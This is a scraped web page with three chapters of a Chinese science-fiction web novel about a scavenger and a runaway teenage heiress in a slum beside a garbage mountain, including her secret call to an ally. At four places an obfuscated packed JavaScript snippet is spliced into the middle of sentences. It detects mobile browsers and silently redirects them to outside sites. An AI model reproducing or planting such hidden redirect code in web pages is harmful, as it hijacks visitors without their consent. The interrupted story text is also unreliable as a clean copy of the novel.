邵满狠狠地松口气。 现在他已经无法对谢盛谨保持之前那种态度了,“未成年”三个字顶在谢盛谨头上,像一把锋锐无匹的刀套了个蕾丝花边,尽管功能没变性质没变,但邵满依旧难以对一个流落在外、身受重伤、无依无靠、从小锦衣玉食一朝家破人亡的孩子疾言厉色了。 他倒没觉得谢盛谨在骗他。 谢盛谨说出她十七岁的时候有种心不甘情不愿的别扭感,邵满非常理解这种感觉:早熟的青春期孩子总是急于证明自己的成熟,因此对年龄总有种藏藏掖掖的羞赧。 再加上谢盛谨的确有着独属于少年人的身材:削薄的背、手臂的青筋、锋锐的下颌骨、突出的腕骨,蓬勃而有生命力,像春天的劲竹。 邵满心情好得谢盛谨都感觉得到。 她捏了捏眉心,侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399979|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过脸,无声地抿了抿唇。 接着她恢复之前惯有的神态,若无其事地问道:“□□也按十八岁交人头费?” “呃,并没有。”邵满解释道,“他们说你成年了你就成年了。” 这么一想他的心情好了一点,“如此看来我也没有很亏啊。” 谢盛谨“嗯”了一声,“我会还你的。” “啊?”邵满一愣,“不用不用,这点小钱我还是出得起……” 他的话音戛然而止。 他在谢盛谨似笑非笑的目光里想到了他还欠着的七百块钱。 邵满沉默了几秒,为了成年人的尊严选择打肿脸充胖子,他摆摆手,“真不用,哪儿能让孩子破费呢。” 谢盛谨的眉心一跳。 邵满毫无知觉,“诶,小谨,你之前是不是还在读高中啊?” 称呼都变了。 谢盛谨抿了抿唇,“我跳级。去年就毕业了。” 顿了顿,她说道:“邵哥,不要把我当小孩。” 邵满一愣,他才反应过来自己刚刚顺理成章地变了称呼。 “没当没当,”邵满赶紧维护未成年人的自尊心,“我没把你当小孩啊,咱们是同盟、是队友,是一起交流的好伙伴,是平等的互利关系,对吧?” 谢盛谨侧过头,轻轻“哼”了声。 邵满偷瞄了眼谢盛谨的表情,感觉到她心情还不错。他长舒一口气。 于是他终于空闲下来梳理刚刚的对话。 谢盛谨姓谢。 “谢”在联邦是个大姓,但有些“谢”和另一些“谢”是不一样的。同一个字,地位高低天壤之别。 联邦五大财阀,谢家便是其中之一。 邵满其实在看到谢盛谨躺在治疗仓里时就已经有种不详的预感,号称“科技黄金”的超导合金涂层尚且不提,敢用量子弦聚能晶做治疗仓的家族也不就那几个,这东西五年前甚至只是个半成品五年后的今天它的造价也比普通钻石还贵,能用到这东西的人能是什么泛泛之辈? 谢盛谨毫不遮掩地把名字说出来时就让邵满落实了心中的猜想,时至昨晚他就已经说服自己了——背靠大树好乘凉,凡事都有利有弊,但就目前来看利是远远大于弊的。 钟鸣鼎食之家根繁叶茂人丁兴旺,从一圈层的金融中心到艺术之都的顶级画廊,从政界精英到商业巨擘,从学术泰斗到时尚先锋,家族成员的身影无处不在。 正因为如此邵满才敢做下一步打算:这样的家族不会任由嫡系成员冒险,那些真正出生在金字塔顶端的千金之躯稳居权力核心,只会在重重严密保护中翻云覆雨。何况他并未听闻谢家的嫡系还有未成年的孩子。 谢盛谨应该是个旁系从商成员的孩子,因为一些变故坠毁贫民窟?邵满脑补着,也许是争权、陷害、谋杀?应当不是什么意外,光从治疗仓的准备和谢盛谨醒来时的反应就看得出来。 也许等他处理完自己的事情后可以帮帮她? …… 邵满一路脑洞大开想入非非,乱飘的思绪终于止于半小时后。 临近垃圾山的胡同地面是独特的用石子铺成的崎岖而狭窄的路径,巷陌间满是苔藓的石板。墙壁上有大量色彩鲜艳的涂鸦,乱七八糟缠绕的电线和光缆随意地丢在角落,给半块碎掉的、仍闪烁着霓虹色彩的大屏幕提供最最基础的电量。 邵满回过神来,招呼谢盛谨:“到了。” 9.飞机 胡同尽头,刺鼻的酸腐味与电子元件烧焦的气息扑面而来,呛得人几欲窒息。 谢盛谨抬头。 正午的阳光稍微有些刺眼,她眯了眯眼,目光所及是望不到尽头的垃圾海洋。 金属残片、废弃电路板、破旧机械零件与腐烂的有机物层层堆积,杂乱无章地交织在一起,经年累月腐化后的碎片渣滓堆积成绵延起伏的小山,一座连着一座。 邵满站在边缘被无数人踩出的小道,双手一撑,利落地翻上垃圾山。 他正准备回头拉谢盛谨一把,却发现她紧跟其后,轻轻松松地上来了。 邵满讪讪地收回手,从兜里掏出两个口罩。 递给谢盛谨时他犹豫了一瞬,问道:“你闻着不难受吗?” 谢盛谨接过来,淡淡地说:“可以忍受。” 邵满一噎,吞下了原本即将脱口而出的抱怨,他转念一想,夸小孩儿似的说:“那你挺厉害啊,这么多年我也没习惯这个味道。” 谢盛谨对他的夸奖回以一个肉眼可见的敷衍的微笑。 邵满不仅不在意,反而挺高兴。自从谢盛谨把年龄告诉他后干脆破罐子破摔,也不刻意维持故意保持距离的冷漠了,脸上的表情也丰富起来,那些精确到面部线条的虚假表情顿时少了很多。 “下面很厚。”邵满告诉她,“每一步都要踩稳。我见过有人陷进去,然后再也没爬出来。” 他话音一转,“但大部分地方都很安全,你看,还有人在那里搭房子。” 谢盛谨顺着他的手指方向看过去,有几座歪斜的小棚子坐落于此。 “累了就可以在那里睡,很方便,还能为免除房租和水电气费。但不安全,容易被杀人越货。” 邵满像个尽心尽责的导游。 谢盛谨看到有几个人从棚子里走了出来,抓起旁边的袋子开始新一轮的劳动。他们中有大人有小孩也有老人,每一个人都衣衫褴褛,干瘦如柴。其中两个的胳膊变成了机械义体,但看上去陈旧、且不灵活。 谢盛谨面无表情地盯了他们一会儿,突然说道:“他们沾毒了。” 邵满一愣,“什么?” 他又仔细看过去,才发现这些人几乎都皮肤松弛、脸色蜡黄,甚至出现痤疮和皮肤溃烂。偶尔身体还有不正常的、控制不住的颤抖。 “没人管?”谢盛谨轻声问。 邵满沉默了几秒,“没人管。” 谢盛谨点点头。 “走吧。”她说。 邵满最后望了眼那群住在棚子里的人,从兜里摸出普通探测仪握在手中。 中午的垃圾山,正是人最多的时候。 邵满带着谢盛谨,一路向南。他们所到之处人越来越少。天空渺远,山体无垠,如果这不是一座垃圾山,必定会成为一二圈层那些一天到晚无所事事的中产阶级追捧的旅游景点。 谢盛谨讥诮地弯了弯嘴角。 邵满没注意到。他每走一段路就会停下来调整检测仪的参数。 又是百米远后,检测仪终于在临近酸雨浸泡的金属堆旁发出嗡鸣。 邵满半蹲着,把背包放在地上,伸手进去在噼里啪啦的碰撞声中抓了几个东西出来。接着他开始穿戴装备。 他没给谢盛谨东西,谢盛谨安静地看着。 邵满准备就绪。他抬脚踢开挡路的冷冻舱残骸,改装手套弹出的镊子精准夹住电路板缝隙里的微型电容器,他捡起来给谢盛谨看:“瞧见没?这是KL-37型储能模块,不便宜哦,这能换三支A级镇痛剂了。“他炫耀似的晃了晃指甲盖大小的零件,然后缩回手拿至面前小心地擦拭掉它表面的荧绿霉斑。 谢盛谨低头,踩过锈蚀的变电器外壳。 “小心脚下。”邵满拽住她手腕,“这片的合金板应该被腐蚀弹泡过,踩错地方能直接把你鞋底熔掉——” 他的话音被如闷雷般的嗡鸣声打断。 谢盛谨抬眼望向天空。 与此同时,垃圾山上原本捡垃圾的人开始大规模移动。他们并不惊慌,也不兴奋,就像行尸走肉一般完成日复一日的任务。 谢盛谨看着他们像觅食的蚂蚁,一个个黑点聚集起来,朝固定的方向围拢过去。 “飞机来了。”邵满说。 谢盛谨看到了。 天空中的影子由远及近,逐渐清晰。随着机身缓缓下降,气流与机翼剧烈摩擦,发出尖锐的呼啸,像一把利刃势不可挡地划破空气。 它已经能被肉眼清楚地打量。机身线条刚硬又流畅,充满冷硬与力量感。周身绚丽的电子流光环绕,外露的管线流动着幽蓝或橙红的能量光流,仿佛钢铁的血管。仅此一会儿,机翼边缘微型信号灯的用电量就能超过东区一个月的总和。 几十秒后,飞机悬停在固定高度,滞留在垃圾山上空,底部的齿轮转动,裂开一条巨大的缝隙。 “哗啦啦——” 数以万计的垃圾像九天银河倾泻而下。 这些垃圾恶臭且充满脏污,甚至经过无数人的转手和污染,最终被抛弃在这里当做无人需要的废品。而此时,这却是另一群人赖以生存的资源。 谢盛谨的目光从蜂拥而上、推推嚷嚷的贫民们身上移开,盯着远处倾倒垃圾的巨型飞机,飞翼航天公司的标志在舱体表面泛着冷光。 她收回视线。 邵满每看一次这景象都不好受,他正准备干点别的什么转移注意力时一回头,与谢盛谨对视了个正着。 “怎么了?”他问道。 谢盛谨摇头。 邵满盯着她,突然福至心灵。 小孩子年纪轻轻尚未有太多社会阅历,突然看到这种画面难受了也是人之常情……尽管对面的未成年人一醒来就拿刀抵住了他的脖子,但那毕竟情况特殊而且后来也没真的下手是不是?十七岁正是心灵尚未成熟三观尚未稳固内心尚且敏感的时候,这可是联邦的花朵,怎能不好好呵护! 邵满想了几秒,用没戴手套的那只手轻轻拍了拍谢盛谨的肩,“难受就别看了,动起来就没空瞎想。” 饶是谢盛谨常年游走在各类含糊其辞的人群中,也没能立刻理解邵满的意思。 她短暂地愣了下神。 随即她反应过来。 谢盛谨沉默了一会儿。 这反应无疑是对邵满猜想的有力佐证,但他怕自己再次伤害少年人敏感脆弱的自尊心,迅速转移了话题,“你有没有什么想要的材料?我帮你找找。” 谢盛谨看着他的检测仪想了想,问道:“邵哥,我能自己找吗?” “当然啦。” 邵满从包里掏了个一模一样的检测仪递给谢盛谨:“这个操作很简单。发射线圈会产生交变磁场,当有金属物体进入这个磁场时,金属内部会产生感应电流,就可以判断有金属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407313|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在。这边是X射线信号处理器,能生成物体内部的图像,清晰显示出金属的位置和形状。” 他又拿出一个小型检测仪:“这是量子比特的。对周围环境相当敏感,这个检测仪具有超高的灵敏度,能检测到极其微小的金属颗粒。” 他喋喋不休,手上不厌其烦地展示着操作。 谢盛谨看得极其专注。 “明白了吗?”邵满讲得口干舌燥,见谢盛谨点头,他怀疑地问:“真明白了?演示给我看看。” 好学生从不畏惧考核。 谢盛谨从善如流地操作了一遍。 邵满满意地一点头:“真聪明。不像何饭那只猪,教半天都不会,还不懂装懂。” 谢盛谨矜持地为何饭说了句话:“可能他只是不熟练。” “放屁!”邵满嘿了一声,“我还不了解他!” 接着他利索地站起来,“去吧,下午五点,到这儿来集合。” 他从兜里摸了一个定位器和终端丢给谢盛谨,看到她空空如也的手腕后又掏了半天,拿了个简陋的机械表:“给。有需要就说,别跟我客气。记住了?” “记住了。”谢盛谨接过来。 “会用吧?”他不放心地叮嘱。 谢盛谨低下头摆弄了两下,“会。” “那行。”邵满摆摆手,然后指了指一个方向,“我去那边了。一会儿见。” 谢盛谨站在原地,目送他离开。 直到邵满的背影消失在视野,她才低头看向自己手里的机械表。 这个机械表干净、光滑,每个零件都完好无损。它的外形极具美感,有着显而易见的小巧思。与此同时,机械表的卡扣设计也有好几个不同的格子,但只有从左往右的第二个空格有着长期被磨损使用的痕迹。 谢盛谨戴上它,然后扣上带子。 从左往右的第二个空格于她而言有些紧了。 这意味着这个表的前任主人是个女性。 而且是个非常消瘦的女性。 谢盛谨知道这是属于谁的。 ——邵安。 邵满的妹妹。 …… 下午倾斜的暖阳热乎乎地投射在垃圾山上。 谢盛谨垂眸看着陷入锈坑的右脚,闻到了一股防护层烧灼的焦臭味。 她皱着眉,从旁边捡了一根棍子,拿在手中掂量了一下,接着对准锈坑,快准狠地砸下去! “砰!!” 巨大的敲击声。 锈坑碎成一片一片的,飞溅得到处都是,手里的棍子也断成了两截。 要是邵满在这里一定会大吃一惊,无论是锈坑还是聚合高分子棍都是出了名的坚不可摧,谢盛谨不过是抬手一砸就碎得四分五裂。 谢盛谨嫌弃地拔起脚。 接着她重新找了根看上去不错的棍子,握在手中,将周围的地面挨个敲击了一遍,接着松手,往地上一丢,干脆利落地坐下来。 下一刻她从兜里摸出了一个耳钉。 戴上后她百无聊赖地等了几秒。 耳钉经过奇妙的神经传导,将声音传入她的耳朵:“滋滋——滋——滋滋——” 电流声断裂了一秒,紧接着就继续制造噪音:“滋滋——滋——” “滋——滋——” “凯瑟琳。”谢盛谨说。 “你再学那死老鼠叫呢?” 10.仅此一次的通话机会 谢盛谨此话一出,对面“滋滋滋”的噪音顿时消失了。 两秒后,耳钉的神经传感器中传来了一道女声。 凯瑟琳清了清嗓子,装模作样地问道:“哇,对面是谁啊?还活着呢?” “死了。”谢盛谨偏了偏脑袋,一只手抚上左侧耳朵,面无表情,“其实是鬼。” 凯瑟琳想了想:“那也行吧。但穷鬼不许和我说话,可爱鬼才行。” “那我挂了。”谢盛谨说。 “诶诶诶——别啊。”凯瑟琳眯着眼笑,“谁说你不满足条件?” 怕谢盛谨真给她挂了,凯瑟琳赶紧找补:“好好好,说正事。现在怎么样了?” 谢盛谨嗯了声,“运气不错。” ……遇到了邵满。 凯瑟琳显然不知道谢盛谨指的是什么,她撇了撇嘴,“那是运气?那是我精挑细选给你计算的位点!执法机构的空勤部队能贿赂的贿赂,不能贿赂的处理掉,监察局的要员直接威逼利诱,你畅通无阻地从卢兰之心飘到贫民窟,一路上起码打掉了上万架无人机,微型emp炸弹加起来的数目可能都有上亿。你这一路从一圈层飘到贫民窟,比送个宇航员去太阳系外还贵。” 凯瑟琳躺在顶级工匠纯手工打造的悬浮睡眠舱中,舱体由一克三万的稀有尘合金铸造,舱内搭载的生物电感应系统能精准捕捉她的脑电波变化,在睡眠时释放对应的舒缓脉冲缓解疲劳。她身上穿着顶级材质定制的晨袍,手上拿着醇厚浓郁的红酒,在谈话间仰头轻抿一口。 谢盛谨听到她的动静。 “爽吗?”她问。 凯瑟琳在谢盛谨看不见的地方嘿嘿一笑,开口时故意矫揉造作地回答:“还不错。每天从八百平方米的大床上醒来,五百个男仆为我洗浴更衣,艾薇小姐给我化上最流行的妆容,这时候来自伊卡洛斯的新鲜菜蔬刚好到达厨房……” 谢盛谨嗤笑道:“你有毛病?” “有一点。”凯瑟琳笑得咯吱咯吱的,好一会儿才缓过来。她正色道,“好吧,说点别的。” “耳钉只有一次通话功能,不然会扰乱治疗仓的电磁轨迹,如果你想续航,只能另寻它法了。”凯瑟琳皱了皱眉,“贫民窟的通讯与网络一二圈层隔断,尽管有耳钉的超型液态金属抗电磁干扰材质,想建立起长期稳定的通讯也不容易。我知道你高中辅修了军工专业,但课程根本没讲到这么深,何况隔行如隔山,你一个人……我觉得难。” 谢盛谨点头:“我知道。” “谢明耀现在应该正在谢家祖宅里哭嚎,悲痛不绝情难自禁。”凯瑟琳呵呵道,“谁知道他有多期待这天。” “瑾儿,你到时候可一定要万众瞩目地踩着一堆瘪三披星戴月荣光四射地上台啊。”凯瑟琳笑嘻嘻的,但眼底凛冽如冰,“不然我可咽不下这口气。” “还用你说。” “我怕你生性低调被人欺负!” “这是我吗?” “……好吧不是。你就不能让我戏瘾大发地演完吗?” “等我回来陪你演。”谢盛谨轻轻吸了口气,“很快。” “……” 那边陷入了沉默。 几秒后,谢盛谨说道:“你注意一下飞翼航天公司的飞机。” 凯瑟琳一惊,“怎么?有问题?” “没有。”谢盛谨看着远方刚被倾泻而下堆成小山的垃圾,“但即将有了。” 凯瑟琳立刻回答:“行。” “让谢远和谢婉清注意点,监管程度变轻的时候立刻监测谢明耀……和程蔚束。程家那边神经触手引的爆炸可以先放一放不管,让谢远把自己的手脚收回来。樱井家九龙夺嫡你可以自己关注一下,投资几个。让谢远跟着你学一下,不用管谢婉清。希尔维斯特已经乱成一锅粥了,不用管。政府有上一辈博弈,你可以提前投资一把,我估计是偏向自然人一派。” 谢盛谨仰头,盯着逐渐向西的太阳,一句一句地说。 “好。”凯瑟琳慎重地记下来,她在心里复盘了一遍,接着问道,“从贫民窟出来,要帮忙吗?瞒不了多久就会有人发现端倪,到时候贫民窟的出入境更是难如登天。” “不用。你自己注意安全,杜兰家族最近也不安分。”谢盛谨拒绝道。 提到这个,凯瑟琳眼底浮起一抹冰冷刺骨的寒意,“的确。最近老有蠢货跃跃欲试,估计想趁你家和希尔维斯特内乱捞一杯羹。上次还逮到个想造反的,被我一头砍死在祖宅大厅。把我妈都惊到了。” 凯瑟琳笑了下,颇有几分要求表扬的意思,“怎么办啊阿瑾?感觉我这少主位待不了多久了。” 谢盛谨眯着眼,从喉咙里发出声笑:“因为家主位等着你?” 凯瑟琳嘿嘿一笑,“不可言说。其实我并没有谋权篡位的意思,你懂吧?我妈活得好好的,感觉她还能再干五十年。” “嗯。我懂。”谢盛谨说,“但是我有。” 凯瑟琳一下没反应过来,“有什么?” 谢盛谨重复了一遍,“有谋权篡位的意思。” 两边都安静下来,呼吸声隔着千里万里传播,低不可察又震耳欲聋。 良久,凯瑟琳说:“行。我允许了。” “你允许有什么用?”谢盛谨说,“得我舅舅允许才行。” 凯瑟琳咯咯咯地笑起来。她笑得上气不接下气,谢盛谨甚至能想到她在床上翻滚的样子。十几秒后凯瑟琳才恢复了正常呼吸,她问道:“程蔚束呢?” 谢盛谨一愣。 此后长达两分钟的时间,她一直没说话。 凯瑟琳一直在耐心等她。 终于凯瑟琳喝了口水,啪地放下杯子,忍不住了:“你要想到海枯石烂天荒地老?别我变成化石了你还秉持沉默是金的优良品德,到时候你只有去博物馆找我,坐在我旁边慢慢思索这个问题的答案?……不对,我突然有一个问题,程蔚束不会就算变成化石也是博物馆的镇馆之宝吧?然后她是第一我是第二,表面上你坐我旁边其实是为了陪她到宇宙洪荒?” 谢盛谨终于开口:“你有毛病?” 凯瑟琳选择性屏蔽。 “我知道你在想什么。” 她叹口气说:“你哥,可以处理。” “你舅舅,可以逼迫退位。” 一圈层最中心的地界,这里被所有人尊敬地称为“卢兰之心”。凯瑟琳坐在上亿的豪华大平层,透过明亮剔透的玻璃眺望远方,似乎这样就能看到谢盛谨的内心所想。 “那程蔚束呢?”她问。 谢盛谨依旧在沉默。 许久后她才说:“你怎么也叫她名字?” 凯瑟琳震惊:“你的重点是这个?” 谢盛谨不说话。 “好吧,其实是她允许的。”凯瑟琳大言不惭,“你不是她唯一的宝贝儿了,怎么办?” 谢盛谨冷漠地说:“一直都不是。” 凯瑟琳闭上了嘴。 谢盛谨还是没说程蔚束怎么办。凯瑟琳也没追问了。 通话机会只有一次,这次挂断之后谁也不知道谢盛谨能不能做出新的沟通方式。 尽管两人态度随意言辞轻慢,但心里都相当清楚前路有多么艰难。 稍不注意,这通对话就一个人对另一个人的遗言。 “快五点了。”谢盛谨打破了沉默,“我要截断通讯了。” “谁允许的?”凯瑟琳问,“谁敢规定我们谢家小殿下的下班时间?” “乱说。”谢盛谨批评道,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416426|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是要造反。” “要造反的另有其人。”凯瑟琳哼一声,“是谁自己心里清楚。” “不清楚。”谢盛谨否定道。 然后她说:“真要截断了。” “哦。” “凯瑟琳。” “有屁快放。” “你真的很烦。”谢盛谨说,“……注意安全。” 躺在床上的凯瑟琳顿时鼻子一酸。但她怕被谢盛谨听出异样,赶紧憋住了。 “还用你说。”她的眼睛有点模糊了,声音也有些哑,几秒后她才继续说道,“你也是。” “——活着回来见我。” …… 下午五点。 日照垃圾山。 谢盛谨看到邵满过来时浑身黑不溜秋的。 她没忍住笑了。 “邵哥。”谢盛谨朝他招手,“你滚泥地去了?” “我在为了我们的富强友好而努力奋斗。”邵满敏锐地察觉到谢盛谨的心情不错,“家和万事兴。物质基础是家庭和睦的根本条件。马克思说的。” “他没说吧?”谢盛谨说。 “人要懂得灵活变通。”邵满从地上提起一个口袋,“只有何饭那种需要考试的小孩才需要牢记出处。” 谢盛谨接受了这个说法,她眨了眨眼,“有道理。” 下一秒邵满将袋子倒过来,提起袋子的角——“哗啦哗啦”的声音接连不断地响起来。 “看。”邵满得意洋洋地给谢盛谨看自己的战利品,“怎么样?” “好厉害啊邵哥。”谢盛谨从善如流地夸赞道,“这些是拿来做什么的?” “机床的替代品,子弹的初材料,工具的原生态。”邵满胡扯道,“总之很有用,等我捣鼓好了给它们卖出去,给你一个温暖的家。” 他这纯粹就是嘴不把门、胡说八道。 谢盛谨并不在意。 “邵哥,明天我们继续来吗?”她问。 “当然。”邵满在为自己刚刚的故意卖弄买单,他现在得不辞辛劳地把倒出来的东西装回去,“我们要连续来几天。回家后我告诉你一个事。” 回家路上,邵满走得面目狰狞。 “很重吗?”谢盛谨两手空空,她提议道,“给我一点吧邵哥,我力气很大的。” 邵满坚持不虐待未成年原则,倔得像头驴,就算累得汗流浃背也要嘴硬:“不重!我自己来。” 谢盛谨拗不过他。 回到家中时已经六点半了,何饭早就放学在家等了好一会儿。 谢盛谨已经闻到了饭菜热气腾腾的香味。 何饭首先看到扛着大包小包的邵满,震惊道:“捡了这么多?邵哥你去勾引别人了?” “滚!”邵满将东西“啪”得一声甩在门口,累得够呛,“你能不能盼我点好?” 何饭缩了缩脖子。 邵满恨不得立刻倒在沙发上,但身上脏得不行,他心里残存的洁癖在此时极显存在感。邵满痛苦地走上楼梯,“我先去洗个澡。小谨你要洗吗?三楼的另一个卧室也有浴室,平时没人住,你去吧。” 何饭听到“小谨”两个字倏地一惊。 这两人抛弃他出去鬼混半天关系怎么就这么好了?还没等到何饭即将失宠的危机感攀升,他就眼睁睁地看着谢盛谨神态轻松地拎起门口的大包小包。 注意到何饭的视线,谢盛谨露出一个浅淡的笑,“门口太挡位置了,我给它挪个地方。” 何饭骤然想起邵满回来时扛着东西累得半死的样子。 他僵硬地扭头,看到站在楼梯中央同样僵硬的邵满。 他再僵硬地转回头。 至此,何饭还未等到心里的危机感骤升,就中道崩殂了。 11.邵满的特殊技能 谢盛谨上了楼。何饭的卧室在二楼,三楼有两个卧室,一个是邵满的,另一个的归属显而易见。 ——属于邵安。 谢盛谨轻轻推开房门。 邵安的房间并不大,和邵满的相差无几。白色的床,干净的桌面,薄绿色的窗帘。看得出邵满这些年依旧在维护这间房的干净整洁,但他似乎并没有太大执念。 故人之物并没有被偏执地摆在某一个位置,窗帘有时束着有时散开,变化的次数不多,床单有细微的皱褶,屋内没有生活化的拖鞋。 邵安死了。 这是一件并不太出乎意料的事情,但谢盛谨才知道。 她沉默着洗了澡换了衣服,下了楼。离开卧室前她朝里面最后看了一眼。那个清瘦的、比蝴蝶更加脆弱的女孩儿最终还是留在了春天。 谢盛谨关好房门,在门口无声地站立了三秒。 …… 等到谢盛谨和邵满洗了澡下了楼,再吃上饭,又是一个小时过去了。 何饭继承了邵满会做饭的优秀品质,一顿晚饭不说奢华丰盛,但也色味俱佳唇齿留香。 邵满吃饱喝足,站起身:“我去贩子那边卖点钱,把电费充了。” “你俩就在家里待着吧。早点睡。还是长身体的年纪呢。” 最后一句他说得很慈爱。 何饭受宠若惊,“邵哥……” 一腔滔滔不绝的感动化为言语已经在脱口而出的路上,何饭目光一凝,突然注意到邵满的眼神停留在谢盛谨身上。 他张着嘴,后面的半个字都没吐出来。 何饭茫然、困惑、难以理解、最终出离地愤怒了! 奈何谢盛谨轻而易举、毫不费劲移走材料的行为给他留下的印象太深,何饭连看都不敢看她一眼,邵满刚一离开他就像条即将爆炸的小尾巴一样跟了上去。 谢盛谨一个人坐在桌前,不紧不慢地咀嚼着。 为了照明点亮的烛火微微摇晃着,她伸出手,将其散发出的光包裹在手心。明暗交错之中,她回想起邵满刚刚关切且柔和的眼神。 未成年也没什么不好。她想。 *** 另一边。 何饭在邵满身后气得上窜下跳,“邵满你什么意思?你对谢盛谨什么态度?你被她收买了?还是也到了到处释放父爱的年纪?除非你告诉我你是为了我俩的生存迫不得已委曲求全出卖了自己的屁/股我才会原谅你!” 邵满的注意力放在最后一句话,他大惊失色,“出卖什么屁/股?!谁教你的?!” “学校教的。”何饭理直气壮地说,“我今天去上学,听到一个老师骂另一个老师卖/屁/股赚钱。” 邵满要是嘴里有水,早就喷了何饭个满头。 “你们学校的老师也不是什么好东西!别跟他们学坏的!” “我又分辨不出来。”何饭假惺惺的,“我三观还没定型呢,听不懂。这样吧,我还是不要去上学了,你教我就行,这样大家都开心。” “听不懂就当聋子。我不开心。”邵满把话题扯回正道,“你上午还喊人家盛谨姐呢,下午怎么就反悔喊人家大名了?” 何饭气鼓鼓的,“还不是你!你突然对她那么奇怪做什么……” “她未成年。”邵满打断他,“今年十七,只比你大四岁。” 何饭呆住了。 邵满瞅着也觉得奇怪,“人家才比你大四岁,怎么感觉比你聪明那么多?” 何饭自我调节能力极强,不到三秒就给自己找好了台阶,“盛谨姐是在上面长大的。我又不是。” 他的称呼又变回来了。 邵满哼哼一声,但也没反驳。贫民窟匮乏的教育资源的确没法跟一二圈层比,何况谢盛谨还不是普通家庭,接受的教育当然也非同一般。 她父母有钱,才会引起这么一场动乱。邵满心不在焉地想,有得有失,这孩子应当也是无妄之灾。 “喂,邵哥。”何饭戳了戳他,“你说如果我们去巴结盛谨姐,有没有去上面看一看的可能?” 邵满心脏一跳。 他一低头,就看见何饭眼底毫不遮掩的憧憬。 何饭知道邵满的来历不简单,也想过他可能也与一二圈层有点关系,但这么多年邵满只字未提回去的意思,以何饭的机灵劲儿当然不会触及他的霉头。 这是第一次,何饭直白地提到“上面”。 邵满摸了摸他的脑袋,“也许吧。” 他说得含糊不清。何饭不知道是信了还是没信,一路都开开心心的。 他们卖了部分用不到的零件,邵满是常客,与老板熟识,钱到手得很快。 “三千。”何饭数了数。 “留五百。剩下的全充电费。” “这么多?”何饭一愣,“你确定?” “嗯。谢盛谨治疗仓的备用电源应该也快用完了,她那装置耗电老快了。” “那你欠佛伦的那七百呢?” 邵满嘴角一抽,想到自己做的蠢事,恨不得当场失忆。 “……欠着。”他说,“我们是欠钱的,欠钱的才是大爷。” …… 第三天,他们依然去垃圾山。何饭还是去上学。 他怨气冲天地走出修理铺时,遇到了谢盛谨。 谢盛谨例行早起绕着周围逛一圈回来,刚好看到何饭生无可恋地背着书包离开。 “何饭。”她叫了声名字。 何饭正低着头呢,突然听到这样一声,一个激灵。 他看清了眼前人,呐呐地喊道:“……盛谨姐。” 谢盛谨脸上的伤口又比昨天好了不少。脸上的脓液血迹早就不见,颜色变浅,面积变小,常理来看正常伤口从当初变成现在这样至少需要两个月。 她咬着根棒棒糖,迈步过来,停在何饭面前。 何饭有些心慌地仰起头。 谢盛谨低着头站在他面前,气质疏离,面容冷淡。 下一秒,她从兜里摸出一根棒棒糖,递给何饭。 “?”何饭受宠若惊地接过来,“谢谢、谢谢盛谨姐!” “不客气。” 谢盛谨一口将嘴里的棒棒糖咬碎,把剩下的棒棒从嘴里拿出来,垂腕一抛,准确无误地掉进垃圾桶。 “这是附近最好吃的棒棒糖。”她说,“作为交换,我想问你个问题。” 何饭立刻从如坠云端的不真实感中醒了过来。他小心翼翼地握着手里的棒棒糖,没有动,谨慎道:“……什么问题?” “你知道邵满来这里多久了吗?” “四年半,算五年吧。”何饭给出了一个非常肯定的回答,“他在四年前捡到我的。” 谢盛谨没什么表示。 何饭站在原地,屏住呼吸,仰视着她,丝毫不敢动。 过了一会儿,谢盛谨的眼神重新聚焦在何饭身上,她笑了笑,“上学去吧,别迟到了。” …… 下午何饭回家的时候,谢盛谨和邵满正坐在沙发上看着电视。 电视节目非常单调,永远都是那几个,何饭能从头到尾将主持人的每个字背下来。 而看电视的两个人,一个神情懒散坐没坐样,一个哪怕坐在沙发都脊背笔直。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427091|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何饭一边放书包一边问:“今天这么早就回来了?” “嗯。等着你回来做饭呢。”邵满抬起一只手挥了挥,“去去去。” 何饭难得没有一句抱怨,一声不吭地去厨房了。 